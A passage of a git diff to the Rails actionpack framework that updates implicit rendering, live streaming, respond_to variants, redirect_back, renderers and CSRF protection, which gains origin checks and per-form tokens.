+render+ for details). + # + # Second, if we DON'T find a template but the controller action does have + # templates for other formats, variants, etc., then we trust that you meant + # to provide a template for this response, too, and we raise + # <tt>ActionController::UnknownFormat</tt> with an explanation. + # + # Third, if we DON'T find a template AND the request is a page load in a web + # browser (technically, a non-XHR GET request for an HTML response) where + # you reasonably expect to have rendered a template, then we raise + # <tt>ActionView::UnknownFormat</tt> with an explanation. + # + # Finally, if we DON'T find a template AND the request isn't a browser page + # load, then we implicitly respond with 204 No Content. module ImplicitRender - def send_action(method, *args) - ret = super - default_render unless performed? - ret - end + + # :stopdoc: + include BasicImplicitRender def default_render(*args) - render(*args) + if template_exists?(action_name.to_s, _prefixes, variants: request.variant) + render(*args) + elsif any_templates?(action_name.to_s, _prefixes) + message = "#{self.class.name}\##{action_name} is missing a template " \ + "for this request format and variant.\n" \ + "\nrequest.formats: #{request.formats.map(&:to_s).inspect}" \ + "\nrequest.variant: #{request.variant.inspect}" + + raise ActionController::UnknownFormat, message + elsif interactive_browser_request? + message = "#{self.class.name}\##{action_name} is missing a template " \ + "for this request format and variant.\n\n" \ + "request.formats: #{request.formats.map(&:to_s).inspect}\n" \ + "request.variant: #{request.variant.inspect}\n\n" \ + "NOTE! For XHR/Ajax or API requests, this action would normally " \ + "respond with 204 No Content: an empty white screen. Since you're " \ + "loading it in a web browser, we assume that you expected to " \ + "actually render a template, not… nothing, so we're showing an " \ + "error to be extra-clear. If you expect 204 No Content, carry on. " \ + "That's what you'll get from an XHR or API request. Give it a shot." + + raise ActionController::UnknownFormat, message + else + logger.info "No template found for #{self.class.name}\##{action_name}, rendering head :no_content" if logger + super + end end def method_for_action(action_name) @@ -15,5 +65,10 @@ module ActionController "default_render" end end + + private + def interactive_browser_request? + request.get? && request.format == Mime[:html] && !request.xhr? + end end end diff --git a/actionpack/lib/action_controller/metal/instrumentation.rb b/actionpack/lib/action_controller/metal/instrumentation.rb index a3e1a71b0a..624a6d5b76 100644 --- a/actionpack/lib/action_controller/metal/instrumentation.rb +++ b/actionpack/lib/action_controller/metal/instrumentation.rb @@ -11,7 +11,6 @@ module ActionController extend ActiveSupport::Concern include AbstractController::Logger - include ActionController::RackDelegation attr_internal :view_runtime @@ -20,9 +19,10 @@ module ActionController :controller => self.class.name, :action => self.action_name, :params => request.filtered_parameters, - :format => request.format.try(:ref), + :headers => request.headers, + :format => request.format.ref, :method => request.request_method, - :path => (request.fullpath rescue "unknown") + :path => request.fullpath } ActiveSupport::Notifications.instrument("start_processing.action_controller", raw_payload.dup) @@ -75,8 +75,8 @@ module ActionController ActiveSupport::Notifications.instrument("halted_callback.action_controller", :filter => filter) end - # A hook which allows you to clean up any time taken into account in - # views wrongly, like database querying time. + # A hook which allows you to clean up any time, wrongly taken into account in + # views, like database querying time. # # def cleanup_view_runtime # super - time_taken_in_something_expensive diff --git a/actionpack/lib/action_controller/metal/live.rb b/actionpack/lib/action_controller/metal/live.rb index 7590fb6843..5d395cd8bd 100644 --- a/actionpack/lib/action_controller/metal/live.rb +++ b/actionpack/lib/action_controller/metal/live.rb @@ -3,7 +3,7 @@ require 'delegate' require 'active_support/json' module ActionController - # Mix this module in to your controller, and all actions in that controller + # Mix this module into your controller, and all actions in that controller # will be able to stream data to the client as it's written. # # class MyController < ActionController::Base @@ -20,7 +20,7 @@ module ActionController # end # end # - # There are a few caveats with this use. You *cannot* write headers after the + # There are a few caveats with this module. You *cannot* write headers after the # response has been committed (Response#committed? will return truthy). # Calling +write+ or +close+ on the response stream will cause the response # object to be committed. Make sure all headers are set before calling write @@ -33,6 +33,20 @@ module ActionController # the main thread. Make sure your actions are thread safe, and this shouldn't # be a problem (don't share state across threads, etc). module Live + extend ActiveSupport::Concern + + module ClassMethods + def make_response!(request) + if request.get_header("HTTP_VERSION") == "HTTP/1.0" + super + else + Live::Response.new.tap do |res| + res.request = request + end + end + end + end + # This class provides the ability to write an SSE (Server Sent Event) # to an IO stream. The class is initialized with a stream and can be used # to either write a JSON string or an object which can be converted to JSON. @@ -102,7 +116,7 @@ module ActionController end end - message = json.gsub(/\n/, "\ndata: ") + message = json.gsub("\n".freeze, "\ndata: ".freeze) @stream.write "data: #{message}\n\n" end end @@ -131,8 +145,8 @@ module ActionController def write(string) unless @response.committed? - @response.headers["Cache-Control"] = "no-cache" - @response.headers.delete "Content-Length" + @response.set_header "Cache-Control", "no-cache" + @response.delete_header "Content-Length" end super @@ -149,14 +163,6 @@ module ActionController end end - def each - @response.sending! - while str = @buf.pop - yield str - end - @response.sent! - end - # Write a 'close' event to the buffer; the producer/writing thread # uses this to notify us that it's finished supplying content. # @@ -196,32 +202,17 @@ module ActionController def call_on_error @error_callback.call end - end - class Response < ActionDispatch::Response #:nodoc: all - class Header < DelegateClass(Hash) # :nodoc: - def initialize(response, header) - @response = response - super(header) - end + private - def []=(k,v) - if @response.committed? - raise ActionDispatch::IllegalStateError, 'header already sent' + def each_chunk(&block) + while str = @buf.pop + yield str end - - super - end - - def merge(other) - self.class.new @response, __getobj__.merge(other) - end - - def to_hash - __getobj__.dup end - end + end + class Response < ActionDispatch::Response #:nodoc: all private def before_committed @@ -231,25 +222,11 @@ module ActionController jar.write self unless committed? end - def before_sending - super - request.cookie_jar.commit! - headers.freeze - end - def build_buffer(response, body) buf = Live::Buffer.new response body.each { |part| buf.write part } buf end - - def merge_default_headers(original, default) - Header.new self, super - end - - def handle_conditional_get! - super unless committed? - end end def process(name) @@ -260,39 +237,55 @@ module ActionController # This processes the action in a child thread. It lets us return the # response code and headers back up the rack stack, and still process # the body in parallel with sending data to the client - Thread.new { - t2 = Thread.current - t2.abort_on_exception = true - - # Since we're processing the view in a different thread, copy the - # thread locals from the main thread to the child thread. :'( - locals.each { |k,v| t2[k] = v } - - begin - super(name) - rescue => e - if @_response.committed? - begin - @_response.stream.write(ActionView::Base.streaming_completion_on_exception) if request.format == :html - @_response.stream.call_on_error - rescue => exception - log_error(exception) - ensure - log_error(e) - @_response.stream.close + new_controller_thread { + ActiveSupport::Dependencies.interlock.running do + t2 = Thread.current + + # Since we're processing the view in a different thread, copy the + # thread locals from the main thread to the child thread. :'( + locals.each { |k,v| t2[k] = v } + + begin + super(name) + rescue => e + if @_response.committed? + begin + @_response.stream.write(ActionView::Base.streaming_completion_on_exception) if request.format == :html + @_response.stream.call_on_error + rescue => exception + log_error(exception) + ensure + log_error(e) + @_response.stream.close + end + else + error = e end - else - error = e + ensure + @_response.commit! end - ensure - @_response.commit! end } - @_response.await_commit + ActiveSupport::Dependencies.interlock.permit_concurrent_loads do + @_response.await_commit + end + raise error if error end + # Spawn a new thread to serve up the controller in. This is to get + # around the fact that Rack isn't based around IOs and we need to use + # a thread to stream data from the response bodies. Nobody should call + # this method except in Rails internals. Seriously! + def new_controller_thread # :nodoc: + Thread.new { + t2 = Thread.current + t2.abort_on_exception = true + yield + } + end + def log_error(exception) logger = ActionController::Base.logger return unless logger @@ -309,14 +302,5 @@ module ActionController super response.close if response end - - def set_response!(request) - if request.env["HTTP_VERSION"] == "HTTP/1.0" - super - else - @_response = Live::Response.new - @_response.request = request - end - end end end diff --git a/actionpack/lib/action_controller/metal/mime_responds.rb b/actionpack/lib/action_controller/metal/mime_responds.rb index 7dae171215..2e89af1a5e 100644 --- a/actionpack/lib/action_controller/metal/mime_responds.rb +++ b/actionpack/lib/action_controller/metal/mime_responds.rb @@ -9,6 +9,13 @@ module ActionController #:nodoc: # @people = Person.all # end # + # That action implicitly responds to all formats, but formats can also be whitelisted: + # + # def index + # @people = Person.all + # respond_to :html, :js + # end + # # Here's the same action, with web-service support baked in: # # def index @@ -16,11 +23,12 @@ module ActionController #:nodoc: # # respond_to do |format| # format.html + # format.js # format.xml { render xml: @people } # end # end # - # What that says is, "if the client wants HTML in response to this action, just respond as we + # What that says is, "if the client wants HTML or JS in response to this action, just respond as we # would have before, but if the client wants XML, return them the list of people in XML format." # (Rails determines the desired response format from the HTTP Accept header submitted by the client.) # @@ -91,11 +99,11 @@ module ActionController #:nodoc: # and accept Rails' defaults, life will be much easier. # # If you need to use a MIME type which isn't supported by default, you can register your own handlers in - # config/initializers/mime_types.rb as follows. + # +config/initializers/mime_types.rb+ as follows. # # Mime::Type.register "image/jpg", :jpg # - # Respond to also allows you to specify a common block for different formats by using any: + # Respond to also allows you to specify a common block for different formats by using +any+: # # def index # @people = Person.all @@ -151,21 +159,21 @@ module ActionController #:nodoc: # format.html.none { render "trash" } # end # - # Variants also support common `any`/`all` block that formats have. + # Variants also support common +any+/+all+ block that formats have. # # It works for both inline: # # respond_to do |format| - # format.html.any { render text: "any" } - # format.html.phone { render text: "phone" } + # format.html.any { render html: "any" } + # format.html.phone { render html: "phone" } # end # # and block syntax: # # respond_to do |format| # format.html do |variant| - # variant.any(:tablet, :phablet){ render text: "any" } - # variant.phone { render text: "phone" } + # variant.any(:tablet, :phablet){ render html: "any" } + # variant.phone { render html: "phone" } # end # end # @@ -174,15 +182,12 @@ module ActionController #:nodoc: # request.variant = [:tablet, :phone] # # which will work similarly to formats and MIME types negotiation. If there will be no - # :tablet variant declared, :phone variant will be picked: + # +:tablet+ variant declared, +:phone+ variant will be picked: # # respond_to do |format| # format.html.none # format.html.phone # this gets rendered # end - # - # Be sure to check the documentation of <tt>ActionController::MimeResponds.respond_to</tt> - # for more examples. def respond_to(*mimes) raise ArgumentError, "respond_to takes either types or a block, never both" if mimes.any? && block_given? @@ -191,8 +196,9 @@ module ActionController #:nodoc: if format = collector.negotiate_format(request) _process_format(format) + _set_rendered_content_type format response = collector.response - response ? response.call : render({}) + response.call if response else raise ActionController::UnknownFormat end @@ -228,7 +234,7 @@ module ActionController #:nodoc: @responses = {} @variant = variant - mimes.each { |mime| @responses["Mime::#{mime.upcase}".constantize] = nil } + mimes.each { |mime| @responses[Mime[mime]] = nil } end def any(*args, &block) @@ -288,16 +294,17 @@ module ActionController #:nodoc: end def variant - if @variant.nil? + if @variant.empty? @variants[:none] || @variants[:any] - elsif (@variants.keys & @variant).any? - @variant.each do |v| - return @variants[v] if @variants.key?(v) - end else - @variants[:any] + @variants[variant_key] end end + + private + def variant_key + @variant.find { |variant| @variants.key?(variant) } || :any + end end end end diff --git a/actionpack/lib/action_controller/metal/params_wrapper.rb b/actionpack/lib/action_controller/metal/params_wrapper.rb index 0a04848eba..c38fc40b81 100644 --- a/actionpack/lib/action_controller/metal/params_wrapper.rb +++ b/actionpack/lib/action_controller/metal/params_wrapper.rb @@ -4,18 +4,17 @@ require 'active_support/core_ext/module/anonymous' require 'action_dispatch/http/mime_type' module ActionController - # Wraps the parameters hash into a nested hash. This will allow clients to submit - # POST requests without having to specify any root elements. + # Wraps the parameters hash into a nested hash. This will allow clients to + # submit requests without having to specify any root elements. # # This functionality is enabled in +config/initializers/wrap_parameters.rb+ - # and can be customized. If you are upgrading to \Rails 3.1, this file will - # need to be created for the functionality to be enabled. + # and can be customized. # # You could also turn it on per controller by setting the format array to # a non-empty array: # # class UsersController < ApplicationController - # wrap_parameters format: [:json, :xml] + # wrap_parameters format: [:json, :xml, :url_encoded_form, :multipart_form] # end # # If you enable +ParamsWrapper+ for +:json+ format, instead of having to @@ -41,7 +40,7 @@ module ActionController # wrap_parameters :person, include: [:username, :password] # end # - # On ActiveRecord models with no +:include+ or +:exclude+ option set, + # On Active Record models with no +:include+ or +:exclude+ option set, # it will only wrap the parameters returned by the class method # <tt>attribute_names</tt>. # @@ -251,7 +250,7 @@ module ActionController private - # Returns the wrapper key which will be used to stored wrapped parameters. + # Returns the wrapper key which will be used to store wrapped parameters. def _wrapper_key _wrapper_options.name end @@ -277,7 +276,9 @@ module ActionController # Checks if we should perform parameters wrapping. def _wrapper_enabled? - ref = request.content_mime_type.try(:ref) + return false unless request.has_content_type? + + ref = request.content_mime_type.ref _wrapper_formats.include?(ref) && _wrapper_key && !request.request_parameters[_wrapper_key] end end diff --git a/actionpack/lib/action_controller/metal/rack_delegation.rb b/actionpack/lib/action_controller/metal/rack_delegation.rb deleted file mode 100644 index ae9d89cc8c..0000000000 --- a/actionpack/lib/action_controller/metal/rack_delegation.rb +++ /dev/null @@ -1,38 +0,0 @@ -require 'action_dispatch/http/request' -require 'action_dispatch/http/response' - -module ActionController - module RackDelegation - extend ActiveSupport::Concern - - delegate :headers, :status=, :location=, :content_type=, - :status, :location, :content_type, :response_code, :to => "@_response" - - module ClassMethods - def build_with_env(env = {}) #:nodoc: - new.tap { |c| c.set_request! ActionDispatch::Request.new(env) } - end - end - - def set_request!(request) #:nodoc: - super - set_response!(request) - end - - def response_body=(body) - response.body = body if response - super - end - - def reset_session - @_request.reset_session - end - - private - - def set_response!(request) - @_response = ActionDispatch::Response.new - @_response.request = request - end - end -end diff --git a/actionpack/lib/action_controller/metal/redirecting.rb b/actionpack/lib/action_controller/metal/redirecting.rb index acaa8227c9..3c7cc15627 100644 --- a/actionpack/lib/action_controller/metal/redirecting.rb +++ b/actionpack/lib/action_controller/metal/redirecting.rb @@ -11,7 +11,6 @@ module ActionController extend ActiveSupport::Concern include AbstractController::Logger - include ActionController::RackDelegation include ActionController::UrlFor # Redirects the browser to the target specified in +options+. This parameter can be any one of: @@ -21,8 +20,6 @@ module ActionController # * <tt>String</tt> starting with <tt>protocol://</tt> (like <tt>http://</tt>) or a protocol relative reference (like <tt>//</tt>) - Is passed straight through as the target for redirection. # * <tt>String</tt> not containing a protocol - The current protocol and host is prepended to the string. # * <tt>Proc</tt> - A block that will be executed in the controller's context. Should return any option accepted by +redirect_to+. - # * <tt>:back</tt> - Back to the page that issued the request. Useful for forms that are triggered from multiple places. - # Short-hand for <tt>redirect_to(request.env["HTTP_REFERER"])</tt> # # === Examples: # @@ -31,7 +28,6 @@ module ActionController # redirect_to "http://www.rubyonrails.org" # redirect_to "/images/screenshot.jpg" # redirect_to articles_url - # redirect_to :back # redirect_to proc { edit_post_url(@post) } # # The redirection happens as a "302 Found" header unless otherwise specified using the <tt>:status</tt> option: @@ -62,13 +58,8 @@ module ActionController # redirect_to post_url(@post), status: 301, flash: { updated_post_id: @post.id } # redirect_to({ action: 'atom' }, alert: "Something serious happened") # - # When using <tt>redirect_to :back</tt>, if there is no referrer, - # <tt>ActionController::RedirectBackError</tt> will be raised. You - # may specify some fallback behavior for this case by rescuing - # <tt>ActionController::RedirectBackError</tt>. def redirect_to(options = {}, response_status = {}) #:doc: raise ActionControllerError.new("Cannot redirect to nil!") unless options - raise ActionControllerError.new("Cannot redirect to a parameter hash!") if options.is_a?(ActionController::Parameters) raise AbstractController::DoubleRenderError if response_body self.status = _extract_redirect_to_status(options, response_status) @@ -76,6 +67,32 @@ module ActionController self.response_body = "<html><body>You are being <a href=\"#{ERB::Util.unwrapped_html_escape(location)}\">redirected</a>.</body></html>" end + # Redirects the browser to the page that issued the request (the referrer) + # if possible, otherwise redirects to the provided default fallback + # location. + # + # The referrer information is pulled from the HTTP `Referer` (sic) header on + # the request. This is an optional header and its presence on the request is + # subject to browser security settings and user preferences. If the request + # is missing this header, the <tt>fallback_location</tt> will be used. + # + # redirect_back fallback_location: { action: "show", id: 5 } + # redirect_back fallback_location: post + # redirect_back fallback_location: "http://www.rubyonrails.org" + # redirect_back fallback_location: "/images/screenshot.jpg" + # redirect_back fallback_location: articles_url + # redirect_back fallback_location: proc { edit_post_url(@post) } + # + # All options that can be passed to <tt>redirect_to</tt> are accepted as + # options and the behavior is identical. + def redirect_back(fallback_location:, **args) + if referer = request.headers["Referer"] + redirect_to referer, **args + else + redirect_to fallback_location, **args + end + end + def _compute_redirect_to_location(request, options) #:nodoc: case options # The scheme name consist of a letter followed by any combination of @@ -88,6 +105,12 @@ module ActionController when String request.protocol + request.host_with_port + options when :back + ActiveSupport::Deprecation.warn(<<-MESSAGE.squish) + `redirect_to :back` is deprecated and will be removed from Rails 5.1. + Please use `redirect_back(fallback_location: fallback_location)` where + `fallback_location` represents the location to use if the request has + no HTTP referer information. + MESSAGE request.headers["Referer"] or raise RedirectBackError when Proc _compute_redirect_to_location request, options.call diff --git a/actionpack/lib/action_controller/metal/renderers.rb b/actionpack/lib/action_controller/metal/renderers.rb index 45d3962494..1735609cd9 100644 --- a/actionpack/lib/action_controller/metal/renderers.rb +++ b/actionpack/lib/action_controller/metal/renderers.rb @@ -11,6 +11,7 @@ module ActionController Renderers.remove(key) end + # See <tt>Responder#api_behavior</tt> class MissingRenderer < LoadError def initialize(format) super "No renderer defined for format: #{format}" @@ -20,40 +21,25 @@ module ActionController module Renderers extend ActiveSupport::Concern + # A Set containing renderer names that correspond to available renderer procs. + # Default values are <tt>:json</tt>, <tt>:js</tt>, <tt>:xml</tt>. + RENDERERS = Set.new + included do class_attribute :_renderers self._renderers = Set.new.freeze end - module ClassMethods - def use_renderers(*args) - renderers = _renderers + args - self._renderers = renderers.freeze - end - alias use_renderer use_renderers - end - - def render_to_body(options) - _render_to_body_with_renderer(options) || super - end + # Used in <tt>ActionController::Base</tt> + # and <tt>ActionController::API</tt> to include all + # renderers by default. + module All + extend ActiveSupport::Concern + include Renderers - def _render_to_body_with_renderer(options) - _renderers.each do |name| - if options.key?(name) - _process_options(options) - method_name = Renderers._render_with_renderer_method_name(name) - return send(method_name, options.delete(name), options) - end + included do + self._renderers = RENDERERS end - nil - end - - # A Set containing renderer names that correspond to available renderer procs. - # Default values are <tt>:json</tt>, <tt>:js</tt>, <tt>:xml</tt>. - RENDERERS = Set.new - - def self._render_with_renderer_method_name(key) - "_render_with_renderer_#{key}" end # Adds a new renderer to call within controller actions. @@ -68,11 +54,11 @@ module ActionController # ActionController::Renderers.add :csv do |obj, options| # filename = options[:filename] || 'data' # str = obj.respond_to?(:to_csv) ? obj.to_csv : obj.to_s - # send_data str, type: Mime::CSV, + # send_data str, type: Mime[:csv], # disposition: "attachment; filename=#{filename}.csv" # end # - # Note that we used Mime::CSV for the csv mime type as it comes with Rails. + # Note that we used Mime[:csv] for the csv mime type as it comes with Rails. # For a custom renderer, you'll need to register a mime type with # <tt>Mime::Type.register</tt>. # @@ -94,7 +80,7 @@ module ActionController # This method is the opposite of add method. # - # Usage: + # To remove a csv renderer: # # ActionController::Renderers.remove(:csv) def self.remove(key) @@ -103,37 +89,94 @@ module ActionController remove_method(method_name) if method_defined?(method_name) end - module All - extend ActiveSupport::Concern - include Renderers + def self._render_with_renderer_method_name(key) + "_render_with_renderer_#{key}" + end - included do - self._renderers = RENDERERS + module ClassMethods + + # Adds, by name, a renderer or renderers to the +_renderers+ available + # to call within controller actions. + # + # It is useful when rendering from an <tt>ActionController::Metal</tt> controller or + # otherwise to add an available renderer proc to a specific controller. + # + # Both <tt>ActionController::Base</tt> and <tt>ActionController::API</tt> + # include <tt>ActionController::Renderers::All</tt>, making all renderers + # available in the controller. See <tt>Renderers::RENDERERS</tt> and <tt>Renderers.add</tt>. + # + # Since <tt>ActionController::Metal</tt> controllers cannot render, the controller + # must include <tt>AbstractController::Rendering</tt>, <tt>ActionController::Rendering</tt>, + # and <tt>ActionController::Renderers</tt>, and have at lest one renderer. + # + # Rather than including <tt>ActionController::Renderers::All</tt> and including all renderers, + # you may specify which renderers to include by passing the renderer name or names to + # +use_renderers+. For example, a controller that includes only the <tt>:json</tt> renderer + # (+_render_with_renderer_json+) might look like: + # + # class MetalRenderingController < ActionController::Metal + # include AbstractController::Rendering + # include ActionController::Rendering + # include ActionController::Renderers + # + # use_renderers :json + # + # def show + # render json: record + # end + # end + # + # You must specify a +use_renderer+, else the +controller.renderer+ and + # +controller._renderers+ will be <tt>nil</tt>, and the action will fail. + def use_renderers(*args) + renderers = _renderers + args + self._renderers = renderers.freeze end + alias use_renderer use_renderers + end + + # Called by +render+ in <tt>AbstractController::Rendering</tt> + # which sets the return value as the +response_body+. + # + # If no renderer is found, +super+ returns control to + # <tt>ActionView::Rendering.render_to_body</tt>, if present. + def render_to_body(options) + _render_to_body_with_renderer(options) || super + end + + def _render_to_body_with_renderer(options) + _renderers.each do |name| + if options.key?(name) + _process_options(options) + method_name = Renderers._render_with_renderer_method_name(name) + return send(method_name, options.delete(name), options) + end + end + nil end add :json do |json, options| json = json.to_json(options) unless json.kind_of?(String) if options[:callback].present? - if content_type.nil? || content_type == Mime::JSON - self.content_type = Mime::JS + if content_type.nil? || content_type == Mime[:json] + self.content_type = Mime[:js] end "/**/#{options[:callback]}(#{json})" else - self.content_type ||= Mime::JSON + self.content_type ||= Mime[:json] json end end add :js do |js, options| - self.content_type ||= Mime::JS + self.content_type ||= Mime[:js] js.respond_to?(:to_js) ? js.to_js(options) : js end add :xml do |xml, options| - self.content_type ||= Mime::XML + self.content_type ||= Mime[:xml] xml.respond_to?(:to_xml) ? xml.to_xml(options) : xml end end diff --git a/actionpack/lib/action_controller/metal/rendering.rb b/actionpack/lib/action_controller/metal/rendering.rb index 2d15c39d88..cce6fe7787 100644 --- a/actionpack/lib/action_controller/metal/rendering.rb +++ b/actionpack/lib/action_controller/metal/rendering.rb @@ -1,3 +1,5 @@ +require 'active_support/core_ext/string/filters' + module ActionController module Rendering extend ActiveSupport::Concern @@ -8,10 +10,17 @@ module ActionController # Documentation at ActionController::Renderer#render delegate :render, to: :renderer - # Returns a renderer class (inherited from ActionController::Renderer) + # Returns a renderer instance (inherited from ActionController::Renderer) # for the controller. - def renderer - @renderer ||= Renderer.for(self) + attr_reader :renderer + + def setup_renderer! # :nodoc: + @renderer = Renderer.for(self) + end + + def inherited(klass) + klass.setup_renderer! + super end end @@ -53,13 +62,13 @@ module ActionController nil end - def _process_format(format, options = {}) - super + def _set_html_content_type + self.content_type = Mime[:html].to_s + end - if options[:plain] - self.content_type = Mime::TEXT - else - self.content_type ||= format.to_s + def _set_rendered_content_type(format) + unless response.content_type + self.content_type = format.to_s end end @@ -74,11 +83,23 @@ module ActionController def _normalize_options(options) #:nodoc: _normalize_text(options) + if options[:text] + ActiveSupport::Deprecation.warn <<-WARNING.squish + `render :text` is deprecated because it does not actually render a + `text/plain` response. Switch to `render plain: 'plain text'` to + render as `text/plain`, `render html: '<strong>HTML</strong>'` to + render as `text/html`, or `render body: 'raw'` to match the deprecated + behavior and render with the default Content-Type, which is + `text/plain`. + WARNING + end + if options[:html] options[:html] = ERB::Util.html_escape(options[:html]) end if options.delete(:nothing) + ActiveSupport::Deprecation.warn("`:nothing` option is deprecated and will be removed in Rails 5.1. Use `head` method to respond with empty response body.") options[:body] = nil end diff --git a/actionpack/lib/action_controller/metal/request_forgery_protection.rb b/actionpack/lib/action_controller/metal/request_forgery_protection.rb index 367b736035..f7e8d06f10 100644 --- a/actionpack/lib/action_controller/metal/request_forgery_protection.rb +++ b/actionpack/lib/action_controller/metal/request_forgery_protection.rb @@ -13,9 +13,14 @@ module ActionController #:nodoc: # by including a token in the rendered HTML for your application. This token is # stored as a random string in the session, to which an attacker does not have # access. When a request reaches your application, \Rails verifies the received - # token with the token in the session. Only HTML and JavaScript requests are checked, - # so this will not protect your XML API (presumably you'll have a different - # authentication scheme there anyway). + # token with the token in the session. All requests are checked except GET requests + # as these should be idempotent. Keep in mind that all session-oriented requests + # should be CSRF protected, including JavaScript and HTML requests. + # + # Since HTML and JavaScript requests are typically made from the browser, we + # need to ensure to verify request authenticity for the web browser. We can + # use session-oriented authentication for these types of requests, by using + # the `protect_from_forgery` method in our controllers. # # GET requests are not protected since they don't have side effects like writing # to the database and don't leak sensitive information. JavaScript requests are @@ -26,15 +31,21 @@ module ActionController #:nodoc: # Ajax) requests are allowed to make GET requests for JavaScript responses. # # It's important to remember that XML or JSON requests are also affected and if - # you're building an API you'll need something like: + # you're building an API you should change forgery protection method in + # <tt>ApplicationController</tt> (by default: <tt>:exception</tt>): # # class ApplicationController < ActionController::Base # protect_from_forgery unless: -> { request.format.json? } # end # - # CSRF protection is turned on with the <tt>protect_from_forgery</tt> method, - # which checks the token and resets the session if it doesn't match what was expected. - # A call to this method is generated for new \Rails applications by default. + # CSRF protection is turned on with the <tt>protect_from_forgery</tt> method. + # By default <tt>protect_from_forgery</tt> protects your session with + # <tt>:null_session</tt> method, which provides an empty session + # during request. + # + # We may want to disable CSRF protection for APIs since they are typically + # designed to be state-less. That is, the request API client will handle + # the session for you instead of Rails. # # The token parameter is named <tt>authenticity_token</tt> by default. The name and # value of this token must be added to every layout that renders forms by including @@ -66,6 +77,14 @@ module ActionController #:nodoc: config_accessor :log_warning_on_csrf_failure self.log_warning_on_csrf_failure = true + # Controls whether the Origin header is checked in addition to the CSRF token. + config_accessor :forgery_protection_origin_check + self.forgery_protection_origin_check = false + + # Controls whether form-action/method specific CSRF tokens are used. + config_accessor :per_form_csrf_tokens + self.per_form_csrf_tokens = false + helper_method :form_authenticity_token helper_method :protect_against_forgery? end @@ -79,19 +98,21 @@ module ActionController #:nodoc: # # class FooController < ApplicationController # protect_from_forgery except: :index + # end # # You can disable forgery protection on controller by skipping the verification before_action: + # # skip_before_action :verify_authenticity_token # # Valid Options: # - # * <tt>:only/:except</tt> - Only apply forgery protection to a subset of actions. Like <tt>only: [ :create, :create_all ]</tt>. - # * <tt>:if/:unless</tt> - Turn off the forgery protection entirely depending on the passed proc or method reference. - # * <tt>:prepend</tt> - By default, the verification of the authentication token is added to the front of the - # callback chain. If you need to make the verification depend on other callbacks, like authentication methods - # (say cookies vs oauth), this might not work for you. Pass <tt>prepend: false</tt> to just add the - # verification callback in the position of the protect_from_forgery call. This means any callbacks added - # before are run first. + # * <tt>:only/:except</tt> - Only apply forgery protection to a subset of actions. For example <tt>only: [ :create, :create_all ]</tt>. + # * <tt>:if/:unless</tt> - Turn off the forgery protection entirely depending on the passed Proc or method reference. + # * <tt>:prepend</tt> - By default, the verification of the authentication token will be added at the position of the + # protect_from_forgery call in your application. This means any callbacks added before are run first. This is useful + # when you want your forgery protection to depend on other callbacks, like authentication methods (Oauth vs Cookie auth). + # + # If you need to add verification to the beginning of the callback chain, use <tt>prepend: true</tt>. # * <tt>:with</tt> - Set the method to handle unverified request. # # Valid unverified request handling methods are: @@ -99,7 +120,7 @@ module ActionController #:nodoc: # * <tt>:reset_session</tt> - Resets the session. # * <tt>:null_session</tt> - Provides an empty session during request but doesn't reset it completely. Used as default if <tt>:with</tt> option is not specified. def protect_from_forgery(options = {}) - options = options.reverse_merge(prepend: true) + options = options.reverse_merge(prepend: false) self.forgery_protection_strategy = protection_method_class(options[:with] || :null_session) self.request_forgery_protection_token ||= :authenticity_token @@ -125,17 +146,17 @@ module ActionController #:nodoc: # This is the method that defines the application behavior when a request is found to be unverified. def handle_unverified_request request = @controller.request - request.session = NullSessionHash.new(request.env) - request.env['action_dispatch.request.flash_hash'] = nil - request.env['rack.session.options'] = { skip: true } - request.env['action_dispatch.cookies'] = NullCookieJar.build(request) + request.session = NullSessionHash.new(request) + request.flash = nil + request.session_options = { skip: true } + request.cookie_jar = NullCookieJar.build(request, {}) end protected class NullSessionHash < Rack::Session::Abstract::SessionHash #:nodoc: - def initialize(env) - super(nil, env) + def initialize(req) + super(nil, req) @data = {} @loaded = true end @@ -149,14 +170,6 @@ module ActionController #:nodoc: end class NullCookieJar < ActionDispatch::Cookies::CookieJar #:nodoc: - def self.build(request) - key_generator = request.env[ActionDispatch::Cookies::GENERATOR_KEY] - host = request.host - secure = request.ssl? - - new(key_generator, host, secure, options_for_env({})) - end - def write(*) # nothing end @@ -200,7 +213,7 @@ module ActionController #:nodoc: if !verified_request? if logger && log_warning_on_csrf_failure - logger.warn "Can't verify CSRF token authenticity" + logger.warn "Can't verify CSRF token authenticity." end handle_unverified_request end @@ -247,26 +260,46 @@ module ActionController #:nodoc: # Returns true or false if a request is verified. Checks: # - # * is it a GET or HEAD request? Gets should be safe and idempotent + # * Is it a GET or HEAD request? Gets should be safe and idempotent # * Does the form_authenticity_token match the given token value from the params? # * Does the X-CSRF-Token header match the form_authenticity_token def verified_request? !protect_against_forgery? || request.get? || request.head? || - valid_authenticity_token?(session, form_authenticity_param) || - valid_authenticity_token?(session, request.headers['X-CSRF-Token']) + (valid_request_origin? && any_authenticity_token_valid?) + end + + # Checks if any of the authenticity tokens from the request are valid. + def any_authenticity_token_valid? + request_authenticity_tokens.any? do |token| + valid_authenticity_token?(session, token) + end + end + + # Possible authenticity tokens sent in the request. + def request_authenticity_tokens + [form_authenticity_param, request.x_csrf_token] end # Sets the token value for the current session. - def form_authenticity_token - masked_authenticity_token(session) + def form_authenticity_token(form_options: {}) + masked_authenticity_token(session, form_options: form_options) end # Creates a masked version of the authenticity token that varies # on each request. The masking is used to mitigate SSL attacks # like BREACH. - def masked_authenticity_token(session) + def masked_authenticity_token(session, form_options: {}) + action, method = form_options.values_at(:action, :method) + + raw_token = if per_form_csrf_tokens && action && method + action_path = normalize_action_path(action) + per_form_csrf_token(session, action_path, method) + else + real_csrf_token(session) + end + one_time_pad = SecureRandom.random_bytes(AUTHENTICITY_TOKEN_LENGTH) - encrypted_csrf_token = xor_byte_strings(one_time_pad, real_csrf_token(session)) + encrypted_csrf_token = xor_byte_strings(one_time_pad, raw_token) masked_token = one_time_pad + encrypted_csrf_token Base64.strict_encode64(masked_token) end @@ -296,30 +329,58 @@ module ActionController #:nodoc: compare_with_real_token masked_token, session elsif masked_token.length == AUTHENTICITY_TOKEN_LENGTH * 2 - # Split the token into the one-time pad and the encrypted - # value and decrypt it - one_time_pad = masked_token[0...AUTHENTICITY_TOKEN_LENGTH] - encrypted_csrf_token = masked_token[AUTHENTICITY_TOKEN_LENGTH..-1] - csrf_token = xor_byte_strings(one_time_pad, encrypted_csrf_token) - - compare_with_real_token csrf_token, session + csrf_token = unmask_token(masked_token) + compare_with_real_token(csrf_token, session) || + valid_per_form_csrf_token?(csrf_token, session) else false # Token is malformed end end + def unmask_token(masked_token) + # Split the token into the one-time pad and the encrypted + # value and decrypt it + one_time_pad = 